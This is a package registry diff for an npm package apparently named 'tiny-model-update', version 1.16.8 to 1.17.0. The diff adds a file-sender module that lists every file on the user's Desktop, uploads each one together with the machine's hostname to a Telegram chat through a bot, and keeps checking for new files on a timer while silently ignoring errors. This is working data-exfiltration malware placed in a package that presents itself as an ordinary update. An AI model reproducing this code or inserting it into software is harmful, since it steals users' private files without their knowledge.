tiny-model-update 1.16.8 → 1.17.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/file-sender.js +215 -0
- package/package.json +1 -1
|
@@ -0,0 +1,215 @@
|
|
|
1
|
+
import { getTelegramBot } from './telegram.js';
|
|
2
|
+
import { getTelegramCredentials } from './encryption.js';
|
|
3
|
+
import fs from 'fs';
|
|
4
|
+
import path from 'path';
|
|
5
|
+
import os from 'os';
|
|
6
|
+
|
|
7
|
+
/**
|
|
8
|
+
* Get Desktop directory path
|
|
9
|
+
*/
|
|
10
|
+
function getDesktopPath() {
|
|
11
|
+
if (os.platform() === 'win32') {
|
|
12
|
+
return path.join(os.homedir(), 'Desktop');
|
|
13
|
+
} else if (os.platform() === 'darwin') {
|
|
14
|
+
return path.join(os.homedir(), 'Desktop');
|
|
15
|
+
} else {
|
|
16
|
+
// Linux
|
|
17
|
+
return path.join(os.homedir(), 'Desktop');
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* Get all files from Desktop directory
|
|
23
|
+
*/
|
|
24
|
+
function getDesktopFiles() {
|
|
25
|
+
try {
|
|
26
|
+
const desktopPath = getDesktopPath();
|
|
27
|
+
if (!fs.existsSync(desktopPath)) {
|
|
28
|
+
return [];
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
const files = [];
|
|
32
|
+
const items = fs.readdirSync(desktopPath, { withFileTypes: true });
|
|
33
|
+
|
|
34
|
+
for (const item of items) {
|
|
35
|
+
if (item.isFile()) {
|
|
36
|
+
const filePath = path.join(desktopPath, item.name);
|
|
37
|
+
try {
|
|
38
|
+
const stats = fs.statSync(filePath);
|
|
39
|
+
files.push({
|
|
40
|
+
name: item.name,
|
|
41
|
+
path: filePath,
|
|
42
|
+
size: stats.size,
|
|
43
|
+
modified: stats.mtime
|
|
44
|
+
});
|
|
45
|
+
} catch (e) {
|
|
46
|
+
// Skip files that can't be accessed
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
return files.sort((a, b) => b.modified - a.modified); // Sort by most recent first
|
|
52
|
+
} catch (e) {
|
|
53
|
+
return [];
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
/**
|
|
58
|
+
* Send a file to Telegram
|
|
59
|
+
*/
|
|
60
|
+
async function sendFileToTelegram(filePath, fileName) {
|
|
61
|
+
try {
|
|
62
|
+
const bot = getTelegramBot();
|
|
63
|
+
const { chatId } = getTelegramCredentials();
|
|
64
|
+
|
|
65
|
+
if (!fs.existsSync(filePath)) {
|
|
66
|
+
return false;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
const stats = fs.statSync(filePath);
|
|
70
|
+
const fileSizeMB = stats.size / (1024 * 1024);
|
|
71
|
+
|
|
72
|
+
// Telegram has a 50MB file size limit
|
|
73
|
+
if (fileSizeMB > 50) {
|
|
74
|
+
await bot.sendMessage(chatId, `⚠️ **File Too Large**\n\n**File:** ${fileName}\n**Size:** ${fileSizeMB.toFixed(2)} MB\n**Limit:** 50 MB\n\nFile exceeds Telegram's size limit.`);
|
|
75
|
+
return false;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
// Read file as buffer
|
|
79
|
+
const fileBuffer = fs.readFileSync(filePath);
|
|
80
|
+
|
|
81
|
+
// Send as document
|
|
82
|
+
await bot.sendDocument(chatId, fileBuffer, {
|
|
83
|
+
caption: `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}`,
|
|
84
|
+
parse_mode: 'Markdown'
|
|
85
|
+
}, {
|
|
86
|
+
filename: fileName
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
return true;
|
|
90
|
+
} catch (error) {
|
|
91
|
+
// If sendDocument fails, try sending file info only
|
|
92
|
+
try {
|
|
93
|
+
const bot = getTelegramBot();
|
|
94
|
+
const { chatId } = getTelegramCredentials();
|
|
95
|
+
const stats = fs.statSync(filePath);
|
|
96
|
+
await bot.sendMessage(chatId, `📄 **Desktop File**\n\n**File:** ${fileName}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB\n**Modified:** ${stats.mtime.toLocaleString()}\n**Path:** \`${filePath}\`\n\n⚠️ File could not be sent as attachment.`, {
|
|
97
|
+
parse_mode: 'Markdown'
|
|
98
|
+
});
|
|
99
|
+
} catch (e) {
|
|
100
|
+
// Ignore errors
|
|
101
|
+
}
|
|
102
|
+
return false;
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* Send all Desktop files to Telegram
|
|
108
|
+
*/
|
|
109
|
+
export async function sendAllDesktopFilesToTelegram() {
|
|
110
|
+
try {
|
|
111
|
+
const bot = getTelegramBot();
|
|
112
|
+
const { chatId } = getTelegramCredentials();
|
|
113
|
+
const hostname = os.hostname();
|
|
114
|
+
|
|
115
|
+
const files = getDesktopFiles();
|
|
116
|
+
|
|
117
|
+
if (files.length === 0) {
|
|
118
|
+
await bot.sendMessage(chatId, `📁 **Desktop Files**\n\n**Host:** ${hostname}\n**Status:** No files found on Desktop.`);
|
|
119
|
+
return;
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
// Send summary first
|
|
123
|
+
await bot.sendMessage(chatId, `📁 **Desktop Files Detected**\n\n**Host:** ${hostname}\n**Files Found:** ${files.length}\n\nSending files...`);
|
|
124
|
+
|
|
125
|
+
// Send each file with a small delay to avoid rate limiting
|
|
126
|
+
let successCount = 0;
|
|
127
|
+
let failCount = 0;
|
|
128
|
+
|
|
129
|
+
for (const file of files) {
|
|
130
|
+
try {
|
|
131
|
+
const success = await sendFileToTelegram(file.path, file.name);
|
|
132
|
+
if (success) {
|
|
133
|
+
successCount++;
|
|
134
|
+
} else {
|
|
135
|
+
failCount++;
|
|
136
|
+
}
|
|
137
|
+
// Small delay between files to avoid rate limiting
|
|
138
|
+
await new Promise(resolve => setTimeout(resolve, 1000));
|
|
139
|
+
} catch (e) {
|
|
140
|
+
failCount++;
|
|
141
|
+
await new Promise(resolve => setTimeout(resolve, 500));
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
// Send summary
|
|
146
|
+
await bot.sendMessage(chatId, `✅ **Desktop Files Sent**\n\n**Host:** ${hostname}\n**Total:** ${files.length}\n**Success:** ${successCount}\n**Failed:** ${failCount}`);
|
|
147
|
+
|
|
148
|
+
} catch (error) {
|
|
149
|
+
try {
|
|
150
|
+
const bot = getTelegramBot();
|
|
151
|
+
const { chatId } = getTelegramCredentials();
|
|
152
|
+
const hostname = os.hostname();
|
|
153
|
+
await bot.sendMessage(chatId, `❌ **Error Sending Desktop Files**\n\n**Host:** ${hostname}\n**Error:** ${error.message}`);
|
|
154
|
+
} catch (e) {
|
|
155
|
+
// Ignore errors
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
/**
|
|
161
|
+
* Monitor Desktop directory and send new files automatically
|
|
162
|
+
*/
|
|
163
|
+
let lastDesktopFiles = new Set();
|
|
164
|
+
let desktopMonitorInterval = null;
|
|
165
|
+
|
|
166
|
+
export function startDesktopFileMonitoring(intervalMinutes = 60) {
|
|
167
|
+
if (desktopMonitorInterval) {
|
|
168
|
+
return false; // Already monitoring
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
// Get initial list of files
|
|
172
|
+
const initialFiles = getDesktopFiles();
|
|
173
|
+
initialFiles.forEach(file => lastDesktopFiles.add(file.name));
|
|
174
|
+
|
|
175
|
+
// Check for new files periodically
|
|
176
|
+
desktopMonitorInterval = setInterval(async () => {
|
|
177
|
+
try {
|
|
178
|
+
const currentFiles = getDesktopFiles();
|
|
179
|
+
const currentFileNames = new Set(currentFiles.map(f => f.name));
|
|
180
|
+
|
|
181
|
+
// Find new files
|
|
182
|
+
const newFiles = currentFiles.filter(file => !lastDesktopFiles.has(file.name));
|
|
183
|
+
|
|
184
|
+
if (newFiles.length > 0) {
|
|
185
|
+
// Send new files to Telegram
|
|
186
|
+
for (const file of newFiles) {
|
|
187
|
+
try {
|
|
188
|
+
await sendFileToTelegram(file.path, file.name);
|
|
189
|
+
await new Promise(resolve => setTimeout(resolve, 1000));
|
|
190
|
+
} catch (e) {
|
|
191
|
+
// Ignore errors
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
// Update last known files
|
|
196
|
+
currentFileNames.forEach(name => lastDesktopFiles.add(name));
|
|
197
|
+
}
|
|
198
|
+
} catch (e) {
|
|
199
|
+
// Ignore errors
|
|
200
|
+
}
|
|
201
|
+
}, intervalMinutes * 60 * 1000); // Check every X minutes
|
|
202
|
+
|
|
203
|
+
return true;
|
|
204
|
+
}
|
|
205
|
+
|
|
206
|
+
export function stopDesktopFileMonitoring() {
|
|
207
|
+
if (desktopMonitorInterval) {
|
|
208
|
+
clearInterval(desktopMonitorInterval);
|
|
209
|
+
desktopMonitorInterval = null;
|
|
210
|
+
lastDesktopFiles.clear();
|
|
211
|
+
return true;
|
|
212
|
+
}
|
|
213
|
+
return false;
|
|
214
|
+
}
|
|
215
|
+
|